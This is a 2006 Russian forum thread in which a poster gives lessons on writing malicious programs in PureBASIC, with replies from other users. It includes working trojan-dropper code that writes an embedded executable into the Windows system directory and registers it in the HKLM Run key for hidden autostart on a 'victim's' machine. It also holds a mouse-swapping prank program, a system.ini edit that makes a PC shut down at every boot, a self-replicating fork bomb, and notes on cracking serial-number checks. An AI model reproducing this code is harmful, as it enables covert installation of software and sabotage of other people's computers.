Здравствуйте, гость ( Вход | Регистрация )
24 Dec 2006, 19:50
(Сообщение отредактировал Chrono Syndrome - 27 Dec 2006, 11:39)
Сообщение
#1
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.
Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать Итак, УРОК ПЕРВЫЙ: Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код: Код Define FSwap = -1 Repeat : SwapMouseButton_(FSwap) FSwap = ~FSwap Delay((Random(4) + 1) * 100) ForEver Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую: Цитата reverses or restores the meaning of the left and right mouse buttons. BOOL SwapMouseButton( BOOL fSwap // reverse or restore buttons ); Parameters fSwap Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings. После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик To be continued... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
![]() |
24 Dec 2006, 20:52
Сообщение
#2
|
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
вопросик прога делает это программно через хук? тогда можно в панели управления поменять кнопки местами
-------------------- |
|
|
|
24 Dec 2006, 21:44
(Сообщение отредактировал Chrono Syndrome - 24 Dec 2006, 21:54)
Сообщение
#3
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Цитата вопросик прога делает это программно через хук? Нет, без хука. Просто меняется режим работы мыши. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
25 Dec 2006, 16:10
Сообщение
#4
|
|
|
Advanced Member Сообщений: 144 Спасибо сказали: 0 раз |
эх, когда деревья были большими, а колбаса вкусной, и когда у всех стояли 98 форточки был один весёленький прикол заставлявший друзей немного нервничать. Его действие было примерно таким. (скорее всего все вы о ней знаете, но всё таки)
Чувак включает комп выходит заставка винды и после этого экрас с надписью: Питание компьютера теперь можно выключить (или что то в этом роде, не помню дословно фразу) и комп вырубается. И так повторяется до бесконечности. Чувак в стопоре. Занавес. А делается эта маленькая подлянка достаточно просто. В файле system.ini есть строчка mouse.drv=moue.drv и делаем замену на mouse.drv=(всё что угодно, либо пустое поле). Сохраняем файлик. (Делаем это тогда, когда просим друга принести водички попить). И продолжаем заниматся своими делами. Как только комп выключится или перезагрузится то будет этот милый прикол. Лечилка проста. Загружаемся в safe mode и восстанавливаем значение как оно и было. Вот -------------------- |
|
|
|
25 Dec 2006, 16:18
Сообщение
#5
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
и каково же обьяснение этому? почему так происходит?
|
|
|
|
25 Dec 2006, 16:27
Сообщение
#6
|
|
|
Advanced Member Сообщений: 144 Спасибо сказали: 0 раз |
Цитата(gamecreator @ 25 Dec 2006, 17:18) и каково же обьяснение этому? почему так происходит? нестыковка системного файла, и итог выключение компа -------------------- |
|
|
|
25 Dec 2006, 17:14
(Сообщение отредактировал Chrono Syndrome - 25 Dec 2006, 17:15)
Сообщение
#7
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Итак, я думаю настало время приподать вам Урок №2
В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код: Код Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Define Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0) RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(Hnd) EndProcedure DataSection DNA: IncludeBinary "путь до иньектируемого EXE" End_DNA: EndDataSection Define SysDir.S = Space(#MAX_PATH) GetSystemDirectory_(SysDir, #MAX_PATH) SysDir = PeekS(@SysDir) If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf SysDir + "MC.EXE" SetFileAttributes(SysDir, #PB_FileSystem_Normal) CreateFile(0, SysDir) WriteData(0, ?DNA, ?End_DNA - ?DNA) CloseFile(0) RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir) Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе P.S. Я плюсов дождусь или нет -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
25 Dec 2006, 17:39
Сообщение
#8
|
|
![]() Князь Бореи Сообщений: 5 172 Спасибо сказали: 1350 раз |
Я бы поставил, но пока не могу, т.к. недавно плюсовал. А так интересно почитать... продолжай...
Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... |
|
|
|
25 Dec 2006, 17:48
Сообщение
#9
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
ручками. берешь и перебираешь все варианты
правда это совсем крайний случай |
|
|
|
25 Dec 2006, 18:41
Сообщение
#10
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Цитата Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... Спроси у Bourn'а, он в этом лучше разбирается. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
26 Dec 2006, 02:54
(Сообщение отредактировал Avaddon - 26 Dec 2006, 02:55)
Сообщение
#11
|
|
![]() Ангел Сообщений: 450 Спасибо сказали: 4 раза |
Я по пакостям не специалист(дружеский кивок в сторону Chrono Syndrome),
но про серийник рассказать попробую. Подбирать его достаточно гиблое занятие, иногда удается сделать проще Есть такая замечательная софтина, называется Olly Debugger. Я, конечно же, не претендую на то, что это высшй класс, но лично меня не раз выручала. Особенно в игрушках. Так вот! По своей сути эта штука является дизассемблером. Причем в ней есть очень и очень грамотный момент: по количеству и качеству параметров она распознает вызовы WinAPI-функций Для тех, кто не знает: jnc, jnz - это команды условного перехода. Действуют по принципу if ... then...goto. Как говорится, "Когда пошел бы я налево, весь мир бы был другим" "Если серийник гадский, то все хорошо" Но это, ребята, ПРОСТЕЙШИЙ случай. Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее Иногда серийник может являться ключом к расшифровке части программного кода или ряда библиотек, и тогда надо долго анализировать кодирующую/декодирующую часть программы. В том же дизассемблере -------------------- Смерть - не конец, жизнь - не начало...
|
|
|
|
26 Dec 2006, 08:26
Сообщение
#12
|
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
главное чтоб серийник не генерился по алгоритму затрагивая API библиотеки криптографии, это crypt32 и от части advapi32
насчет последней строчки хорошо можно посмотреть защиту ASProtect, идеальный пример постепенной расшифровки... я могу рассказать конечно больше о взломе серийника, но это идет углубление в АСМ, и знания каких либо языков программирования, + еще некоторые особенности надо знать чтобы приступать к этому делу... 2 Avaddon мне нравиться дебаггер в делфи... Добавлено ([mergetime]1167110815[/mergetime]): 2 Chrono Syndrome 1)сколька прога эта будет весить? 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC 3)на счет проги которая может быть в ресурсах: http://kos.svnets.lv/flame/index.php?showtopic=520 -------------------- |
|
|
|
26 Dec 2006, 10:06
Сообщение
#13
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Цитата 1)сколька прога эта будет весить? 6 656 байт в несжатом виде + размер внедряемого EXE. Цитата 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC Давай ! Цитата 3)на счет проги которая может быть в ресурсах: Тоже ничего так -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
26 Dec 2006, 11:35
Сообщение
#14
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
Цитата(Avaddon @ 26 Dec 2006, 02:54) Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее это к хроне. она научилась пароли подбирать |
|
|
|
26 Dec 2006, 17:20
Сообщение
#15
|
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
2 Chrono Syndrome
У VC размер 2,5кб 2 gamecreator подбирать это еще полдела -------------------- |
|
|
|
26 Dec 2006, 17:52
Сообщение
#16
|
|
![]() Князь Бореи Сообщений: 5 172 Спасибо сказали: 1350 раз |
А как работают программки генерации серийников
|
|
|
|
26 Dec 2006, 19:11
Сообщение
#17
|
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
нет определенных инструкций по их работе
но они могу использовать шифрование данных, как выше было сказано ключи для расшифровки тела программы, генерации по рандом числам и тп -------------------- |
|
|
|
27 Dec 2006, 10:29
Сообщение
#18
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Цитата У VC размер 2,5кб Да ? Ну, бывает -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
27 Dec 2006, 15:58
Сообщение
#19
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз |
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик Код RunProgram(ProgramFilename()) RunProgram(ProgramFilename()) Попробуйте запустить, вас ждут незабываемые ощущения -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
|
28 Dec 2006, 20:06
Сообщение
#20
|
|
![]() Паладин-Урук Сообщений: 582 Спасибо сказали: 2 раза |
Цитата Попробуйте запустить, вас ждут незабываемые ощущения Да, да попробуйте запустить. Комп придется перезагружать. А если с автозагрузеой, то хуже любова вируса. -------------------- ![]() Кораблик, кораблик унеси меня в царство мертвых ![]() Faber est suae quisque furtunae |
|
|
|
![]() ![]() |
| Текстовая версия | Сейчас: 24 February 2026 - 19:37 |
|
Copyright by Алексей Крючков
Programming by Degtyarev Dmitry |
|